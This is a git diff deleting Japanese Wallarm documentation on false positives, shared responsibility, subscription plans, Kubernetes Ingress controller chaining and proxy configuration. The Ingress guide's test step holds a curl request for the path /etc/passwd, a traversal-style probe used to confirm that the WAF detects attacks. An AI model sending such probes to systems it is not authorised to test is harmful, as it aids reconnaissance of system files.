-**誤検知**とは、正当なリクエストに攻撃シグネチャが検出された場合、または正当なエンティティが脆弱性と判定された場合に発生します。[脆弱性スキャンにおける誤検知の詳細→](detecting-vulnerabilities.md#false-positives) - -攻撃の有無を分析する際、Wallarmは誤検知率が極めて低くAPIを最適に保護する標準ルールセットを使用します。ただし、保護対象APIの特性によっては、標準ルールが正当なリクエストを誤って攻撃と認識する場合があります。例: データベース管理者フォーラムに、悪意のあるSQLクエリの説明を含む投稿を追加するリクエストで、SQLインジェクション攻撃が検知されることがあります。 - -このような場合は、以下の方法で標準ルールを保護対象APIの特性に合わせて調整します: - -* すべての攻撃を[タグ`!known`](../user-guides/search-and-filters/use-search.md#search-by-known-attacks-cve-and-wellknown-exploits)でフィルタリングして潜在的な誤検知を分析し、誤検知だと確認できたものについては、該当するAttackまたはHitsを適切に[マーク](../user-guides/events/check-attack.md#false-positives)します。Wallarmは、同一のリクエストに対する該当攻撃シグネチャの分析を無効化するルールを自動的に作成します。 -* 特定のリクエストで[特定の攻撃タイプの検知を無効化](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types)します。 -* バイナリデータ内の[特定の攻撃シグネチャの検知を無効化](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-signs-in-the-binary-data)します。 -* リクエストに誤って適用されている[パーサーを無効化](../user-guides/rules/request-processing.md#managing-parsers)します。 - -誤検知の特定と対処は、APIを保護するためのWallarmのチューニングの一部です。最初のWallarmノードはMonitoring[mode](#monitoring-and-blocking-attacks)でデプロイし、検知された攻撃を分析することを推奨します。誤って攻撃と認識されているものがあれば、誤検知としてマークし、フィルタリングノードをBlocking modeに切り替えてください。 - -## Wallarm UIのAttacks - -Wallarmは、検知されたすべての攻撃とその詳細を表示する包括的なユーザーインターフェースを提供します。迅速な可視化のために攻撃ダッシュボードを利用したり、カスタム通知を設定したりできます。 - -詳しくは[攻撃の分析](../user-guides/events/check-attack.md)の記事をご覧ください。 - -![Attacksビュー](../images/user-guides/events/check-attack.png) - - \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/shared-responsibility.md b/docs/latest-ja/about-wallarm/shared-responsibility.md deleted file mode 100644 index 7bf1027c57..0000000000 --- a/docs/latest-ja/about-wallarm/shared-responsibility.md +++ /dev/null @@ -1,70 +0,0 @@ -[link-deployment-se]: ../installation/security-edge/overview.md -[link-deployment-hybrid]: ../installation/supported-deployment-options.md - -# お客様データの共有責任 - -Wallarmは共有責任のセキュリティモデルに基づいています。このモデルでは、関係者（Wallarmとそのお客様）が、お客様データ（個人を特定できる情報(PII)やカード会員データを含む）のセキュリティに関してそれぞれ異なる責任範囲を担います。 - -## 概要 - -Wallarmには2つの主要コンポーネントがあります。Wallarm filtering nodeとWallarm Cloudです。概要は[こちら](../about-wallarm/overview.md#how-wallarm-works)をご覧ください。これらのコンポーネントは2つの形態のいずれかでデプロイでき、各形態でWallarmとお客様の責任分担が異なります。 - ---8<-- "../include/deployment-forms.md" - -![責任分担の模式図](../images/shared-responsibility-variants.png) - -## Security Edge - -このデプロイメント形態では、Wallarm filtering nodeとWallarm CloudのいずれのコンポーネントもWallarmが管理するため、責任の大部分はWallarm側にあります。 - -**Wallarmの責任** - -* Wallarmクラウド環境のセキュリティと可用性、Wallarm filtering nodeコードおよびWallarm内部システムのセキュリティ。 - - これには、サーバーレベルのパッチ適用、Wallarmクラウドサービス提供に必要なサービスの運用、脆弱性テスト、セキュリティイベントのログ記録と監視、インシデント管理、運用監視、24時間365日のサポートなどが含まれますが、これらに限定されません。Wallarmはまた、Wallarmクラウド環境のサーバーおよび境界ファイアウォール構成（セキュリティグループ）の管理にも責任を負います。 - -* [Edge Inline Node](../installation/security-edge/inline/upgrade-and-management.md#upgrading-the-edge-inline)または[Edge Connector Node](../installation/security-edge/se-connector.md#upgrading-the-edge-node)を[定期的](../updating-migrating/versioning-policy.md)にアップグレードします。 -* ご要望があれば、最新のWallarm SOC 2 Type II監査報告書のコピーを提供します。 -* Wallarmが提供するサービスの継続に資する事業継続および災害復旧計画(BCDRP)を策定し、必要に応じて実装します。 - -**お客様の責任** - -* Wallarmのサービスに関連する重要な職務や活動に以前関与していた退職済みユーザーのアカウント削除を実施します。 -* Wallarmが実施するサービスに直接関与する人員に変更がある場合は、速やかにWallarmへ通知します。これらの人員は、Wallarmが提供するサービスに直接関連する財務、技術、または補助的な管理機能に関与している場合があります。 - -## ハイブリッド - -このデプロイメント形態では、Wallarmのお客様がWallarm filtering nodeをデプロイ・管理し、WallarmがWallarm Cloudコンポーネントを管理します。したがって、責任は同等に分担されます。 - -**Wallarmの責任** - -* Wallarmクラウド環境のセキュリティと可用性、Wallarm filtering nodeコードおよびWallarm内部システムのセキュリティ。 -* Wallarm filtering nodeコンポーネントを[定期的](../updating-migrating/versioning-policy.md)に更新します。なお、これらのアップデートの適用はお客様の責任です。 -* ご要望があれば、最新のWallarm SOC 2 Type II監査報告書のコピーを提供します。 - -**お客様の責任** - -Wallarmのお客様は次の点に責任を負います。 - -* Wallarm filtering nodeおよびWallarm Cloudを含む、Wallarmに関連するすべての内部コンポーネントについて、一般的なITシステムのアクセスおよびシステム利用の適切性に関する健全で一貫した内部統制を実装します。 - -* Wallarmのサービスに関連する重要な職務や活動に以前関与していた退職済みユーザーのアカウント削除を実施します。 - -* お客様のセキュリティ境界外に出て、検出された悪意のあるリクエストの報告の一部としてWallarm Cloudに送信される可能性がある機微なデータに対して、適切な[データマスキングルール](../user-guides/rules/sensitive-data-rule.md)を設定します。 - -* Wallarmのサービスに関連する取引が適切に承認され、取引が安全で、適時に処理され、完全であることを確保します。 - -* Wallarmが実施するサービスに直接関与する人員に変更がある場合は、速やかにWallarmへ通知します。これらの人員は、Wallarmが提供するサービスに直接関連する財務、技術、または補助的な管理機能に関与している場合があります。 - -* Wallarmがリリースした新しいソフトウェアアップデートをフィルタリングノードに速やかに適用します。 - -* Wallarmが提供するサービスの継続に資する事業継続および災害復旧計画(BCDRP)を策定し、必要に応じて実装します。 - -## Wallarm Cloudにおけるお客様データの保存 - -フィルタリングノードから送信されたすべてのデータはWallarmが完全に管理するWallarm Cloudに保存されます。 - -* リクエストおよび攻撃データはPostgreSQLデータベースに保存され、関連コンテンツはGoogle Cloud Storage（S3互換）に永続化され、パフォーマンス向上のためRedisにキャッシュされます。Google Cloud外部のサードパーティサービスは使用していません。 -* すべてのストレージは、Wallarmのセキュアなインフラストラクチャの一部としてGoogle Cloud Platform上でホストされています。 -* GCPはGDPRおよびその他の国際的なデータ保護基準に準拠しており、データのセキュリティとプライバシーを確保します。 -* Wallarmは複数の[リージョン](overview.md#cloud)（USとEU）でのデプロイに対応しており、希望する管轄区域内にデータを保持できます。 \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/subscription-plans.md b/docs/latest-ja/about-wallarm/subscription-plans.md deleted file mode 100644 index ef79d40c95..0000000000 --- a/docs/latest-ja/about-wallarm/subscription-plans.md +++ /dev/null @@ -1,120 +0,0 @@ -# Wallarmのサブスクリプションプラン - -Wallarmは、APIディスカバリ、リスク管理、リアルタイム保護、テスト機能を統合し、マルチクラウド、クラウドネイティブ、セルフホスト環境でお客様のAPIポートフォリオ全体を保護する唯一のソリューションです。ニーズに最適な機能セットを簡単に選択できます。 - -## コアサブスクリプションプラン - -**Cloud Native WAAP** - WAAP（Web Application & API Protection）サブスクリプションは、SQLi、XSS、ブルートフォースなどの一般的な脅威からWebアプリケーションとAPIを保護します。すべてのAPIプロトコルをサポートしますが、一部の特定のAPI脅威は対象外です。 - -**WAAP + Advanced API Security**。このバンドルは、包括的なAPI Securityツールによって一般的なWAAP機能を強化し、OWASP API Top-10の脅威をすべてカバーします。 - -**Security Testing**。このバンドルは、攻撃者より先にアプリケーションやAPIのセキュリティ脆弱性を能動的に発見するのに役立ちます。 - -| 機能 | WAAP | WAAP + API Security | Security Testing | -| ------- | ----------------- | --------------------- | --------------------- | -| **リアルタイム保護** | | | | -| [DDoS対策（L7）](../admin-en/configuration-guides/protecting-against-ddos.md) | はい | はい | いいえ | -| [地理/送信元フィルタリング](../user-guides/ip-lists/overview.md) | はい | はい | いいえ | -| [IPレピュテーションフィード](../user-guides/ip-lists/overview.md#malicious-ip-feeds) | はい | はい | いいえ | -| [攻撃スタンプ（SQLi、XSS、SSRFなど）](../attacks-vulns-list.md#attack-types) | はい | はい | いいえ | -| [カスタムシグネチャ](../user-guides/rules/regex-rule.md) | はい | はい | いいえ | -| [仮想パッチ](../user-guides/rules/vpatch-rule.md) | はい | はい | いいえ | -| [ブルートフォース対策](../admin-en/configuration-guides/protecting-against-bruteforce.md) | はい | はい | いいえ | -| [強制ブラウジング対策](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) | はい | はい | いいえ | -| [分散レート制限](../user-guides/rules/rate-limiting.md) | はい | はい | いいえ | -| [BOLA対策](../admin-en/configuration-guides/protecting-against-bola.md) | 手動トリガー | 自動保護 | いいえ | -| [API Abuse Prevention（ボット管理）](../api-abuse-prevention/overview.md) | いいえ | はい | いいえ | -| [Credential Stuffing検知](../about-wallarm/credential-stuffing.md) | いいえ | はい | いいえ | -| [API Specification Enforcement](../api-specification-enforcement/overview.md) | いいえ | はい | いいえ | -| [GraphQLセキュリティポリシー](../api-protection/graphql-rule.md) | いいえ | はい | いいえ | -| [列挙攻撃対策](../api-protection/enumeration-attack-protection.md) | いいえ | はい | いいえ | -| [緩和制御](../about-wallarm/mitigation-controls-overview.md) | いいえ | はい | いいえ | -| **セキュリティ態勢** | | | | -| [API Attack Surface Management（AASM）](../api-attack-surface/overview.md) | いいえ | はい | いいえ | -| [脆弱性アセスメント](../user-guides/vulnerabilities.md) | はい | はい | いいえ | -| [API Sessions](../api-sessions/overview.md) | いいえ | はい | いいえ | -| [API Discovery](../api-discovery/overview.md) | いいえ | はい | いいえ | -| [機密データ検出](../api-discovery/overview.md#sensitive-data-detection) | いいえ | はい | いいえ | -| [Rogue API検出（shadow、orphan、zombie）](../api-discovery/rogue-api.md) | いいえ | はい | いいえ | -| **セキュリティテスト** | | | | -| [Threat Replayテスト](../vulnerability-detection/threat-replay-testing/overview.md) | いいえ | はい | はい（API Securityと併用時） | -| [スキーマベースのセキュリティテスト](../vulnerability-detection/schema-based-testing/overview.md) | いいえ | いいえ | はい | -| **追加オプション** | | | | -| [セルフホスト型ノードのデプロイ](../installation/supported-deployment-options.md) | すべて | すべて | いいえ | -| [Security Edge](../installation/security-edge/overview.md) | いいえ | いいえ | いいえ | -| [Integrations](../user-guides/settings/integrations/integrations-intro.md) | すべて | すべて | すべて | -| [ユーザー数](../user-guides/settings/users.md) | 無制限 | 無制限 | 無制限 | -| [SSO認証](../admin-en/configuration-guides/sso/intro.md) | はい | はい | はい | -| [ロールベースのアクセス制御（RBAC）](../user-guides/settings/users.md#user-roles) | はい | はい | はい | -| [マルチテナント](../installation/multi-tenant/overview.md) | はい（リクエストにより） | はい（リクエストにより） | はい（リクエストにより） | -| イベント保存期間 | 6か月 | 6か月 | 6か月 | -| サポート | Standard/
      Advanced/
      Platinum | Standard/
      Advanced/
      Platinum | Standard/
      Advanced/
      Platinum | - -サブスクリプションプランを有効化するには、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 - -## API Attack Surface - -!!! info "他プランとの関係" - - このサブスクリプションプランは次のとおりです。 - - * [Advanced API Security](#core-subscription-plans)プランに含まれます - * [Cloud Native WAAP](#core-subscription-plans)プランに追加できます - * 単体で利用できます（他のプランやフィルタリングノードは不要です） - -**API Attack Surface**サブスクリプションプランは、デプロイ不要かつ最小限の設定で、公開されているAPIと関連情報の包括的な可視化を提供します。 - -このサブスクリプションプランには[API Attack Surface Management（AASM）](../api-attack-surface/overview.md)が含まれ、次を提供します。 - -* [API Attack Surface Discovery](../api-attack-surface/api-surface.md) -* [Security Issues Detection](../api-attack-surface/security-issues.md) - -サブスクリプションプランを有効化するには、次のいずれかを行います。 - -* まだWallarmアカウントがない場合は、Wallarmの公式サイト[こちら](https://www.wallarm.com/product/aasm)で料金情報を確認し、AASMを有効化してください。 - - 有効化すると、使用したメールアドレスのドメインのスキャンが、営業チームとのやり取りの間も直ちに開始されます。有効化後は、スコープに追加のドメインを追加できます。 - -* すでにWallarmアカウントをお持ちの場合は、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 - -## Security Edge (Paid Plan) - -!!! info "他プランとの関係" - - このサブスクリプションプランは次のとおりです。 - - * [Cloud Native WAAP](#core-subscription-plans)または[Advanced API Security](#core-subscription-plans)プランに追加できます - * 単体では利用できません - -Security Edgeサブスクリプションプランにより、管理された環境にWallarmノードをデプロイできるため、オンサイトでのインストールや管理が不要になります。 - -Wallarmがノードのホスティングとメンテナンスを担当することで、堅牢なトラフィックフィルタリング、攻撃検知、安全な通信のメリットを享受しながら、中核となるインフラストラクチャに集中できます。 - -利用可能なSecurity Edgeのデプロイ方式は次のとおりです。 - -* [Security Edge Inline](../installation/security-edge/inline/overview.md) -* [Security Edge Connectors](../installation/security-edge/se-connector.md) - -本サブスクリプションに関するお問い合わせは、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 - -## Security Edge Free Tier - -中小規模の企業や教育目的向けに、Wallarmは[Security Edge](#security-edge-paid-plan)のFree Tierアカウントをお客様自身で作成できるオプションを提供します。データ保管場所の希望に最適なWallarm Cloudを選択できます。 - -* [US Wallarm CloudでFree Tierアカウントを作成](https://us1.my.wallarm.com/signup) -* [EU Wallarm CloudでFree Tierアカウントを作成](https://my.wallarm.com/signup) - -Security Edge Free Tierアカウントでは、次が可能です。 - -* 一部の機能制限付きでSecurity Edgeの機能を利用できます。 -* 期間の制限なく、月あたり最大50万リクエストを処理できます。 -* 次を除き、Advanced API SecurityとしてWallarmプラットフォームにアクセスできます。 - - * [脆弱性アセスメント](../user-guides/vulnerabilities.md) - * [API Abuse Prevention](../api-abuse-prevention/overview.md) - * Security Edgeのテレメトリポータル - * マルチクラウドのSecurity Edgeデプロイ - -Free Tierアカウントが月間クォータの100%を超えると、すべてのインテグレーションとともにWallarm Consoleへのアクセスが無効化されます。200%に達すると、Wallarmノードでの保護が無効化されます。これらの制限は翌月の1日まで適用されます。 - -すべての制限を解除するには、[sales@wallarm.com](mailto:sales@wallarm.com)までご連絡ください。 \ No newline at end of file diff --git a/docs/latest-ja/about-wallarm/waap-overview.md b/docs/latest-ja/about-wallarm/waap-overview.md deleted file mode 100644 index 17bf5dcbce..0000000000 --- a/docs/latest-ja/about-wallarm/waap-overview.md +++ /dev/null @@ -1,37 +0,0 @@ -# クラウドネイティブWAAP - -WallarmのクラウドネイティブWAAP（Webアプリケーション＆API保護）は、あらゆるお客様環境でアプリケーションとAPIを高度に保護します。WallarmのWAAPはREST、SOAP、GraphQLなど複数のAPIプロトコルをサポートし、[OWASP Top 10](https://owasp.org/www-project-top-ten/)をはじめそれ以上を包括的にカバーするためにディープパケットインスペクションを実施します。WAAPは、ゼロデイを含む[さまざまな脅威](../attacks-vulns-list.md)の検知精度が高く、[誤検知](../about-wallarm/protecting-against-attacks.md#false-positives)が少ないです。これにより、インフラストラクチャを迅速かつ効果的に保護できます。 - -![プロトコル別の攻撃](../images/user-guides/dashboard/api-protocols.png) - -## 基本原則 - -トラフィックは2つのコンポーネントで処理します：WallarmフィルタリングノードとWallarm Cloudです。Wallarmフィルタリングノードはお客様のインフラストラクチャにデプロイされ、トラフィックの解析と攻撃のブロックを担当します。収集した攻撃の統計情報は統計分析とイベント処理のためにWallarm Cloudへ送信されます。Wallarm Cloudは集中管理や他のセキュリティツールとの連携も担当します。 - -![アーキテクチャ図1](../images/about-wallarm-waf/overview/filtering-node-cloud.png) - -Wallarmは、[パブリッククラウド](../installation/supported-deployment-options.md)、セルフホストインフラ、フルSaaSデプロイ、KubernetesやGateway APIsとの統合、[Security Edges](../installation/security-edge/overview.md)など、さまざまなデプロイオプションをサポートします。Wallarmフィルタリングノードは、ニーズとインフラストラクチャに応じて[インライン](../installation/inline/overview.md)または[アウトオブバンド](../installation/oob/overview.md)でデプロイできます。柔軟なセキュリティポリシー設定オプションにより、監視とブロッキングの[モード](../admin-en/configure-wallarm-mode.md)を迅速に切り替えられ、正当なトラフィックを誤ってブロックする不安を解消します。 - -## 保護対策 - -Wallarm WAAPは、あらゆる種類の脅威からアプリケーションを保護するため、次のような幅広いセキュリティ対策を提供します（これらに限定されません）： - -* 最新のシグネチャによるXSS、SQLi、RCE等への対策 -* 仮想パッチ -* カスタムディテクタの作成 -* [L7 DDoS保護](../admin-en/configuration-guides/protecting-against-ddos.md) -* [複数攻撃の実行者からの保護](../admin-en/configuration-guides/protecting-with-thresholds.md) -* レート制限 -* [ブルートフォース攻撃からの保護](../admin-en/configuration-guides/protecting-against-bruteforce.md) -* [フォースドブラウジングからの保護](../admin-en/configuration-guides/protecting-against-forcedbrowsing.md) -* [BOLA保護](../admin-en/configuration-guides/protecting-against-bola-trigger.md) -* [ジオロケーションおよび送信元タイプによるフィルタリング](../user-guides/ip-lists/overview.md) -* 悪意あるIPフィード - -## 追加の機能 - -アプリケーションの保護に加えて、Wallarm Cloud Native WAAPは、攻撃者に悪用される前に脆弱性を特定するための機能（[パッシブ検知](../about-wallarm/detecting-vulnerabilities.md#passive-detection)）を提供します。 - -柔軟な[レポーティング](../user-guides/dashboards/owasp-api-top-ten.md)機能と他のアプリケーションとの[連携](../user-guides/settings/integrations/integrations-intro.md)により、新たな脅威をすばやく把握し、タイムリーに対応できます。 - -高度なAPI保護および分析機能は、必要に応じて容易に[追加できます](../about-wallarm/subscription-plans.md)。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/admin-intro-en.md b/docs/latest-ja/admin-en/admin-intro-en.md deleted file mode 100644 index 18a0191e3a..0000000000 --- a/docs/latest-ja/admin-en/admin-intro-en.md +++ /dev/null @@ -1,5 +0,0 @@ -# 管理者ガイドの概要 - -本ガイドでは、Wallarmの設定オプションおよびインフラストラクチャとの統合について説明します。 - -本ガイドで説明する操作のほとんどを実行するには、管理者権限が必要です。管理者権限は、[US](https://us1.my.wallarm.com)または[EU](https://my.wallarm.com)のCloudにあるWallarm Consoleの**Settings** → **Users**タブで設定できます。 \ No newline at end of file diff --git a/docs/latest-ja/admin-en/apifw-metrics.md b/docs/latest-ja/admin-en/apifw-metrics.md deleted file mode 100644 index 0b41fb2754..0000000000 --- a/docs/latest-ja/admin-en/apifw-metrics.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/admin-en/apifw-metrics.md" \ No newline at end of file diff --git a/docs/latest-ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md b/docs/latest-ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md deleted file mode 100644 index 1dfbe034a0..0000000000 --- a/docs/latest-ja/admin-en/chaining-wallarm-and-other-ingress-controllers.md +++ /dev/null @@ -1,207 +0,0 @@ -[node-token-types]: ../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[nginx-ing-create-node-img]: ../images/user-guides/nodes/create-wallarm-node-name-specified.png - -# 同一Kubernetesクラスター内でのWallarmと追加Ingressコントローラーのチェーン構成 - -本手順では、K8sクラスターにWallarm Ingressコントローラーをデプロイし、すでに環境で稼働している他のコントローラーとチェーン構成にする方法を説明します。 - -## 本ソリューションが対応する課題 - -Wallarmは、[Community Ingress NGINX Controller上に構築されたIngress Controller](installation-kubernetes-en.md)など、複数のフォームファクターでノードソフトウェアを提供します。 - -すでにIngressコントローラーを使用している場合、既存のIngressコントローラーをWallarmコントローラーに置き換えるのは難しいことがあります(例: AWS ALB Ingress Controllerを使用している場合)。その際は[Wallarm Sidecarソリューション](../installation/kubernetes/sidecar-proxy/deployment.md)の検討をおすすめしますが、それでもインフラに適合しない場合は、複数のIngressコントローラーをチェーン構成にすることが可能です。 - -Ingressコントローラーのチェーン構成により、エンドユーザーからのリクエストを既存のコントローラーでクラスターに取り込み、必要なアプリケーション保護を提供するための追加のWallarm Ingressコントローラーをデプロイできます。 - -## 要件 - -* Kubernetesプラットフォームバージョン 1.26-1.30 -* [Helm](https://helm.sh/)パッケージマネージャー -* [US Cloud](https://us1.my.wallarm.com/)または[EU Cloud](https://my.wallarm.com/)のWallarm Consoleで**Administrator**ロールを持つアカウントへのアクセス -* US Wallarm Cloudで作業するための`https://us1.api.wallarm.com`、またはEU Wallarm Cloudで作業するための`https://api.wallarm.com`へのアクセス -* Wallarm Helmチャートを追加するための`https://charts.wallarm.com`へのアクセス。ファイアウォールでアクセスがブロックされていないことを確認します -* Docker HubのWallarmリポジトリ`https://hub.docker.com/r/wallarm`へのアクセス。ファイアウォールでアクセスがブロックされていないことを確認します -* 攻撃検知ルールや[API仕様](../api-specification-enforcement/overview.md)の更新をダウンロードし、さらに国、地域、データセンターごとの正確なIPを取得するために、以下のIPアドレスへのアクセス([allowlisted, denylisted, or graylisted](../user-guides/ip-lists/overview.md)の対象に対して) - - --8<-- "../include/wallarm-cloud-ips.md" -* Ingressコントローラーが稼働しているKubernetesクラスターがデプロイ済みであること - -## Wallarm Ingressコントローラーのデプロイと追加Ingressコントローラーとのチェーン構成 - -Wallarm Ingressコントローラーをデプロイして追加のコントローラーとチェーン構成にするには、次の手順を実行します。 - -1. 既存のIngressコントローラーとは異なるIngressクラス値を使用して、公式のWallarmコントローラーHelmチャートをデプロイします。 -1. 次の条件でWallarm専用のIngressオブジェクトを作成します。 - - * Wallarm Ingress Helmチャートの`values.yaml`に指定したものと同じ`ingressClass`。 - * 既存のIngressコントローラーと同様に構成されたIngressコントローラーのリクエストルーティングルール。 - - !!! info "Wallarm Ingressコントローラーはクラスター外部には公開されません" - Wallarm Ingressコントローラーは、サービスに`ClusterIP`を使用します。つまり、クラスター外部には公開されません。 -1. 既存のIngressコントローラーを再構成し、アプリケーションサービスではなく、新しいWallarm Ingressコントローラーに着信リクエストを転送します。 -1. Wallarm Ingressコントローラーの動作をテストします。 - -### Step 1: Wallarm Ingressコントローラーをデプロイする - -1. [適切な種類][node-token-types]のフィルタリングノードトークンを生成します。 - - === "APIトークン(Helmチャート4.6.8以上)" - 1. Wallarm Console → **Settings** → **API tokens**( [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) または [EU Cloud](https://my.wallarm.com/settings/api-tokens) )を開きます。 - 1. 使用タイプが`Node deployment/Deployment`のAPIトークンを探すか作成します。 - 1. このトークンをコピーします。 - === "ノードトークン" - 1. Wallarm Console → **Nodes**( [US Cloud](https://us1.my.wallarm.com/nodes) または [EU Cloud](https://my.wallarm.com/nodes) )を開きます。 - 1. **Wallarm node**タイプのフィルタリングノードを作成し、生成されたトークンをコピーします。 - - ![Wallarmノードの作成][nginx-ing-create-node-img] -1. [Wallarm Helmチャートリポジトリ](https://charts.wallarm.com/)を追加します: - ``` - helm repo add wallarm https://charts.wallarm.com - helm repo update - ``` -1. 次のWallarm構成で`values.yaml`ファイルを作成します。 - - === "US Cloud" - ```bash - controller: - wallarm: - enabled: true - token: "" - apiHost: us1.api.wallarm.com - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: ClusterIP - nameOverride: wallarm-ingress - ``` - === "EU Cloud" - ```bash - controller: - wallarm: - enabled: true - token: "" - # nodeGroup: defaultIngressGroup - config: - use-forwarded-headers: "true" - ingressClass: wallarm-ingress - ingressClassResource: - name: wallarm-ingress - controllerValue: "k8s.io/wallarm-ingress" - service: - type: "ClusterIP" - nameOverride: wallarm-ingress - ``` - - * ``はWallarmノードトークンです。 - * APIトークンを使用する場合は、`nodeGroup`パラメータにノードグループ名を指定します。ノードはこのグループに割り当てられ、Wallarm Consoleの**Nodes**セクションに表示されます。デフォルトのグループ名は`defaultIngressGroup`です。 - - さらに多くの構成オプションについては、[リンク](configure-kubernetes-en.md)をご参照ください。 -1. Wallarm Ingress Helmチャートをインストールします: - ``` bash - helm install --version 6.4.0 internal-ingress wallarm/wallarm-ingress -n wallarm-ingress -f values.yaml --create-namespace - ``` - - * `internal-ingress`はHelmリリース名です - * `values.yaml`は前の手順で作成したHelm値のYAMLファイルです - * `wallarm-ingress`はHelmチャートをインストールするネームスペースです(存在しない場合は作成されます) -1. Wallarm Ingressコントローラーが起動して稼働中であることを確認します: - - ```bash - kubectl get pods -n wallarm-ingress - ``` - - Wallarmポッドのステータスは**STATUS: Running**、**READY: N/N**である必要があります: - - ``` - NAME READY STATUS RESTARTS AGE - ingress-controller-wallarm-ingress-controller-6d659bd79b-952gl 3/3 Running 0 8m7s - ingress-controller-wallarm-ingress-controller-wallarm-wstore-7ddmgbfm 3/3 Running 0 8m7s - ``` - -### Step 2: Wallarm専用の`ingressClassName`を指定したIngressオブジェクトを作成する - -前の手順の`values.yaml`で構成したものと同じ`ingressClass`名でIngressオブジェクトを作成します。 - -Ingressオブジェクトは、アプリケーションをデプロイしているのと同じネームスペースに配置する必要があります。例: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - annotations: - nginx.ingress.kubernetes.io/wallarm-application: "1" - nginx.ingress.kubernetes.io/wallarm-mode: monitoring - name: myapp-internal - namespace: myapp -spec: - ingressClassName: wallarm-ingress - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: myapp - port: - number: 80 -``` - -### Step 3: 既存のIngressコントローラーを再構成してWallarmにリクエストを転送する - -既存のIngressコントローラーを再構成し、アプリケーションサービスではなく新しいWallarm Ingressコントローラーに着信リクエストを転送するには、次のようにします。 - -* `ingressClass`名が`nginx`となるIngressオブジェクトを作成します。これはデフォルト値です。異なる場合は自身の値に置き換えることができます。 -* IngressオブジェクトはWallarm Ingressチャートと同じネームスペースに配置する必要があります。この例では`wallarm-ingress`です。 -* `spec.rules[0].http.paths[0].backend.service.name`の値は、Helmリリース名と`.Values.nameOverride`で構成されるWallarm Ingressコントローラーのサービス名である必要があります。 - - 名前を取得するには、次のコマンドを使用できます: - - ```bash - kubectl get svc -l "app.kubernetes.io/component=controller" -n wallarm-ingress -o=jsonpath='{.items[0].metadata.name}' - ``` - - この例では、名前は`internal-ingress-wallarm-ingress-controller`です。 - -最終的な設定例: - -```yaml -apiVersion: networking.k8s.io/v1 -kind: Ingress -metadata: - name: myapp-external - namespace: wallarm-ingress -spec: - ingressClassName: nginx - rules: - - host: www.example.com - http: - paths: - - path: / - pathType: Prefix - backend: - service: - name: internal-ingress-wallarm-ingress-controller - port: - number: 80 -``` - -### Step 4: Wallarm Ingressコントローラーの動作をテストする - -既存の外部IngressコントローラーのロードバランサーのパブリックIPを取得します。例えば、`ingress-nginx`ネームスペースにデプロイされていると仮定します: - -```bash -LB_IP=$(kubectl get svc -l "app.kubernetes.io/component=controller" -n ingress-nginx -o=jsonpath='{.items[0].status.loadBalancer.ingress[0].ip}') -``` - -既存のIngressコントローラーのアドレスにテストリクエストを送信し、期待どおりに動作していることを確認します: - -```bash -curl -H "Host: www.example.com" ${LB_IP}/etc/passwd -``` \ No newline at end of file diff --git a/docs/latest-ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/latest-ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 94f47db61d..0000000000 --- a/docs/latest-ja/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1,74 +0,0 @@ -# プロキシ経由でのWallarm APIへのアクセス - -この手順では、プロキシサーバー経由でWallarm APIにアクセスできるように設定する手順を説明します。 - -* `https://api.wallarm.com/`はEU Cloud向けです -* `https://us1.api.wallarm.com/`はUS Cloud向けです - -この手順は[NGINX](../../installation/nginx-native-node-internals.md#nginx-node)および[Native](../../installation/nginx-native-node-internals.md#native-node)ノードの両方に適用されます。 - -## インストール時およびインストール後のアクセス - -次のタイミングでアクセスを設定する必要があります。 - -* ノードのインストール前：`/etc/environment`ファイルで設定します。これにより、ノードのインストールプロセス自体がプロキシ経由で必要なリソースにアクセスできます。 -* ノードのインストール後：`/opt/wallarm/env.list`ファイルで設定します。これにより、インストール済みのノードがプロキシ経由でWallarm APIにアクセスできるようになります。このファイルはノードをインストールするまで存在しません。 - -いずれの場合も、アクセスを設定するにはプロキシサーバーを定義する環境変数に値を設定します。 - -* `https_proxy`はHTTPSプロトコル用のプロキシを定義します。 -* `http_proxy`はHTTPプロトコル用のプロキシを定義します。 -* `no_proxy`はプロキシを使用しないリソースの一覧を定義します。 - -## https_proxyおよびhttp_proxyの値 - -`https_proxy`および`http_proxy`には、`://:@:`という文字列を設定します。 - -* ``は使用するプロトコルを定義します。設定する環境変数が対象とするプロトコルと一致させてください。 -* ``はプロキシ認証用のユーザー名を定義します。 -* ``はプロキシ認証用のパスワードを定義します。 -* ``はプロキシサーバーのホストを定義します。 -* ``はプロキシサーバーのポートを定義します。 - -## no_proxyの値 - -`no_proxy`には、プロキシを使用しないリソースのIPアドレスやドメインの一覧を設定します。 - -* Wallarmノードが正しく動作するよう、`127.0.0.1`、`127.0.0.8`、`127.0.0.9`、`localhost`を含めます。 -* 追加のアドレスは次の形式です：`", , , , ..."`。ここで、``、``、``、``はIPアドレスまたはドメインです。 - -## 設定ファイルの例 - -以下の`/etc/environment`および`/opt/wallarm/env.list`の例は、次の設定を示します： - -* HTTPSおよびHTTPリクエストは、プロキシサーバーでの認証に`admin`というユーザー名と`01234`というパスワードを使用し、`1.2.3.4`ホストの`1234`ポートへプロキシされます。 -* `127.0.0.1`、`127.0.0.8`、`127.0.0.9`、`localhost`宛てのリクエストはプロキシ対象外です。 - -```bash -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" 